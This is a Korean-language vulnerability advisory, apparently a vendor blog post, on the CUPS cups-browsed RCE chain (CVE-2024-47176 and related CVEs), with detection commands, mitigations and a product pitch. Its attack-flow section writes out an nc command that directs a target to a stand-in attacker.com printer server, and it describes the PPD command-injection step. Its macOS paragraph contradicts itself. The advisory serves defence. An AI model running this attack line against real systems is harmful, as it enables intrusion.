치명적 CVE-2024-47176 2024년 10월 · 9분 읽기

CVE-2024-47176: CUPS Linux RCE — 인터넷 노출 시스템 30만 대

4개의 CUPS 취약점 체인(CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177)은 cups-browsed를 실행하는 Linux 시스템에서 인증되지 않은 원격 코드 실행을 가능하게 합니다. 공개 당시 30만 대 이상의 시스템이 인터넷에 노출되어 있었습니다. Ubuntu, Debian, Red Hat, Fedora를 비롯한 대부분의 Linux 배포판에 기본적으로 영향을 미칩니다.


9.9
치명적
속성
주요 CVECVE-2024-47176
관련 CVECVE-2024-47076, -47175, -47177
CVSS 벡터AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-20: 부적절한 입력 검증
공개일2024년 9월 26일
익스플로잇 현황공개 PoC 존재 — 기회주의적 스캐닝 관찰됨

CVE-2024-47176이란?

CUPS(Common Unix Printing System)는 Linux와 macOS의 기본 인쇄 인프라입니다. cups-browsed 데몬은 네트워크상의 프린터 알림을 수신하기 위해 UDP 631 포트에서 대기합니다. CVE-2024-47176은 4개 취약점 체인의 진입점입니다: cups-browsed는 인터넷을 포함한 모든 출처에서 인증 없이 UDP 패킷을 수락합니다.

조작된 UDP 패킷을 631 포트로 전송하면, 공격자는 피해자의 시스템이 공격자가 제어하는 "프린터"에 다시 연결하도록 만들 수 있습니다. 이 악성 프린터는 명령이 내장된 조작된 PPD(PostScript Printer Description) 파일을 제공합니다. 피해자가 무엇이든 인쇄하면, 해당 명령이 피해자의 시스템에서 실행됩니다.

전체 공격 체인

CVE구성 요소설명
CVE-2024-47176cups-browsedUDP 0.0.0.0:631에 바인딩되어 모든 IP로부터 패킷을 수락
CVE-2024-47076libcupsfiltersPPD 파일 생성 시 IPP 속성 값을 검증하지 않음
CVE-2024-47175libppdPPD 파일 생성 시 IPP 속성을 검증하지 않음
CVE-2024-47177cups-filtersFoomaticRIPCommandLine이 임의 명령 실행을 허용

공격 흐름


# 1단계: 공격자가 대상:631로 UDP 패킷 전송
echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631

# 2단계: cups-browsed가 공격자 서버에서 IPP 속성을 가져옴
# 공격자의 서버가 악성 프린터 속성을 반환함

# 3단계: libcupsfilters/libppd가 검증되지 않은 공격자 데이터로 PPD를 생성
# PPD에 포함된 내용: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]"

# 4단계: 이후 누군가 인쇄할 때(또는 관리자가 테스트 인쇄를 실행할 때):
# FoomaticRIP가 PPD의 명령을 실행함
# 명령은 lp 사용자 권한으로 실행됨(대개 상당한 파일시스템 접근 권한 보유)

⚠ 설정 이후 추가 사용자 상호작용 불필요

공격자는 악성 프린터를 등록하기 위해 단 하나의 UDP 패킷만 전송하면 됩니다. 이후 시스템의 어떤 사용자가 인쇄를 시도하는 순간 익스플로잇이 실행됩니다 — 몇 시간, 며칠 후의 일상적인 인쇄 작업도 포함됩니다. 서버의 경우, 공격자가 새로 설치된 악성 프린터로 인쇄 작업을 전송해 원격으로 익스플로잇을 유발할 수도 있습니다.

영향 범위

공개 시점에 Shodan과 Censys 스캔 결과 약 30만 대의 인터넷 노출 시스템에서 UDP 631 포트가 열려 있는 것으로 확인되었습니다. 이 취약점은 cups-browsed를 탑재한 사실상 모든 주요 Linux 배포판에 영향을 미칩니다:

macOS는 자체 인쇄 스택을 사용하므로 영향을 받지 않습니다. 다만 macOS도 내부적으로 CUPS를 사용하므로, 특정 구성에서는 관련 문제의 영향을 받을 수 있습니다.

탐지


# cups-browsed 실행 여부 확인
systemctl status cups-browsed
ps aux | grep cups-browsed

# UDP 631이 노출되어 있는지 확인
ss -ulnp | grep 631
netstat -ulnp | grep 631

# 예상치 못한 프린터 추가 여부 확인
lpstat -a
cat /etc/cups/printers.conf | grep -i "deviceuri\|remote"

# 의심스러운 PPD 파일 탐색
find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf

# 예상치 못한 IPP 연결에 대한 로그 확인
grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"

완화 방안

  1. 불필요한 경우 cups-browsed 중지 및 비활성화:
    sudo systemctl stop cups-browsed
    sudo systemctl disable cups-browsed
  2. 패치 적용: cups-browsed 2.0.1과 cups-filters 2.0.1이 이 취약점들을 해결합니다. Ubuntu, Debian, Red Hat은 공개 후 며칠 만에 패치를 배포했습니다.
  3. 방화벽에서 UDP 631 포트 차단: 외부 패킷이 cups-browsed에 도달하지 못하도록 차단
    sudo iptables -A INPUT -p udp --dport 631 -j DROP
    sudo ufw deny 631/udp
  4. 불필요한 경우 FoomaticRIP 제거: 마지막 RCE 단계는 foomatic-rip를 필요로 합니다. (Foomatic 프린터를 사용하지 않는 경우) 이를 제거하면 코드 실행 가능성이 사라집니다.
  5. 프린터 구성 점검: 다음 파일에서 인식되지 않는 프린터 항목을 제거하세요: /etc/cups/printers.conf

💡 대부분의 서버는 취약하지 않습니다: Linux 서버 설치본은 일반적으로 cups-browsed를 기본으로 설치하지 않습니다. 더 높은 위험은 Linux 워크스테이션과 개발 머신에 있습니다. 다만 인쇄를 위해 구성된 모든 Linux 시스템은 점검해야 합니다.

KENSAI 탐지 역량

환경 내 몇 대의 Linux 시스템에 cups-browsed가 노출되어 있습니까?

KENSAI는 내부 및 외부 공격 표면 전반에서 모든 Linux 시스템의 CUPS 취약점을 스캔합니다. 몇 분 만에 전체 현황을 파악하세요.

CUPS 노출 확인하기 →

관련 기사

CISA, 패치 기한 대폭 단축 — 백악관 사이버 전략 개정, 3월 패치 화요일 83건 결함 공개 미국·EU 사이버 전략 격차 심화, FBI 감시 시스템 침해로 데이터 이전 위협받아, ENISA 훈련 가이드 발표 — 보안 규제 라운드업 PromptSpy: 최초의 AI 기반 악성코드 + BeyondTrust 랜섬웨어 급증